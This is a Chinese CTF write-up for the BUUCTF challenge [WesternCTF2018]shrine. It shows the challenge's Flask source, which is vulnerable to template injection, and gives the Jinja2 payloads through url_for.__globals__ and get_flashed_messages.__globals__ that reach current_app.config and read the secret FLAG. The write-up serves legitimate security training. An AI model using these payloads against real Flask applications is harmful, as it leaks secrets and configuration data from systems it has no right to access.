首页 > 其他分享 >BUUCTF:[WesternCTF2018]shrine

BUUCTF:[WesternCTF2018]shrine

时间:2023-06-19 22:03:50浏览次数:38  
标签:__ BUUCTF globals app WesternCTF2018 FLAG shrine config


https://buuoj.cn/challenges#[WesternCTF2018]shrine

BUUCTF:[WesternCTF2018]shrine_BUUCTF


BUUCTF:[WesternCTF2018]shrine_BUUCTF_02

import flask 
import os 

app = flask.Flask(__name__) 
app.config['FLAG'] = os.environ.pop('FLAG') 
@app.route('/') 
def index(): 
	return open(__file__).read() 
	@app.route('/shrine/') 

def shrine(shrine): 
	def safe_jinja(s): 
		s = s.replace('(', '').replace(')', '')
		blacklist = ['config', 'self'] 
	return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 
return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__': 
	app.run(debug=True)

过滤了小括号()configself,且FLAG在环境变量中,这里的过滤只针对{{config}}管用
过滤了小括号基本上就没法使用各种类的方法了,而这里FLAG在环境变量中

可利用Flask内置的两个函数:

  • url_for()
  • get_flashed_messages()

BUUCTF:[WesternCTF2018]shrine_WesternCTF2018_03

/shrine/{{url_for.__globals__}}
/shrine/{{get_flashed_messages.__globals__}}

BUUCTF:[WesternCTF2018]shrine_环境变量_04


BUUCTF:[WesternCTF2018]shrine_WesternCTF2018_05


利用其中的current_app方法,可以直接查看到当前appconfig

/shrine/{{url_for.__globals__['current_app'].config}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

BUUCTF:[WesternCTF2018]shrine_flask_06


标签:__,BUUCTF,globals,app,WesternCTF2018,FLAG,shrine,config
From: https://blog.51cto.com/u_16159500/6517843

相关文章

  • BUUCTF:[SUCTF 2019]Pythonginx
    @app.route('/getUrl',methods=['GET','POST'])defgetUrl():url=request.args.get("url")host=parse.urlparse(url).hostnameifhost=='suctf.cc':return"我扌yourproblem?111&q......
  • BUUCTF: [网鼎杯 2020 朱雀组]Nmap
    https://buuoj.cn/challenges#[%E7%BD%91%E9%BC%8E%E6%9D%AF%202020%20%E6%9C%B1%E9%9B%80%E7%BB%84]Nmap会把扫描结果导出到一个文件里面给参数f传一个错误的文件名通过报错发现使用了simplexml_load_file(),那说明导出的文件格式是xml的使用输出格式可以将指定的内容输出到指定......
  • BUUCTF:[极客大挑战 2019]BabySQL
    题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]BabySQL简单测试之后发现有些字符被过滤,初步判断这里的过滤是指特殊字符被替换为空,如下图所示使用Burp进行SQL过滤字符的Fuzz这些长度为726响应内容是Inputyourusernameandpass......
  • BUUCTF:zip
    题目地址:https://buuoj.cn/challenges#zip很多压缩包,但是里面的内容非常小,小于5字节,可以尝试使用CRC32爆破得到其内容先以out0.zip做个例子,out0.zip的CRC32校验码为:0x75f90d3aPSD:\Tools\Misc\crc32>python.\crc32.pyreverse0x75f90d3a4bytes:{0x7a,0x35,0x42,0x7a}ve......
  • BUUCTF:梅花香自苦寒来
    题目地址:https://buuoj.cn/challenges#%E6%A2%85%E8%8A%B1%E9%A6%99%E4%B9%8B%E8%8B%A6%E5%AF%92%E6%9D%A5题目如下:使用010editor打开在图片结尾FFD9后存在一大串十六进制,把这些字符复制出来,将十六进制转为字符十六进制转字符:https://coding.tools/tw/hex-to-ascii类似坐标,可......
  • BUUCTF:刷新过的图片
    题目地址:https://buuoj.cn/challenges#%E5%88%B7%E6%96%B0%E8%BF%87%E7%9A%84%E5%9B%BE%E7%89%87F5隐写,利用工具:F5-steganography:https://github.com/matthewgao/F5-steganography得到的output.txt明显是个zip文件修改后缀为zipzip伪加密解压得到flagflag{96efd0a2037d06f34199......
  • BUUCTF:面具下的flag
    题目地址:https://buuoj.cn/challenges#%E9%9D%A2%E5%85%B7%E4%B8%8B%E7%9A%84flag题目如下:binwalk分析,发现有隐藏了zip,foremost分离得到一个压缩包zip伪加密解压得到flag.vmdkvmdk文件可以用7z解压7zxflag.vmdk-o./第一部分flag在key_part_one/NUL++++++++++[->+++++++++......
  • BUUCTF:qr
    题目地址:https://buuoj.cn/challenges#qrFlag{878865ce73370a4ce607d21ca01b5e59}......
  • BUUCTF:LSB
    题目地址:https://buuoj.cn/challenges#LSB题目提示是:LSB使用stegsolve打开,在Redplane0、Grennplane0、Blueplane0通道发现图片的上方好有东西Analyse->DataExtract调整至如下,发现这是一张图片,SaveBin保存为flag.png`cumtctf{1sb_i4_s0_Ea4y}......
  • BUUCTF:[ISITDTU 2019]EasyPHP
    题目地址:BUUCTF:[ISITDTU2019]EasyPHPRefer:https://tiaonmmn.github.io/2019/07/18/ISITDTU-Easy-PHP/思路很简单,绕过这两个if即可任意代码执行先看一下第一个正则匹配看不懂的推荐使用这个网站:https://regex101.com/if(preg_match('/[\x00-0-9\'"`$&.,|[{_defgops\x7F]+/i......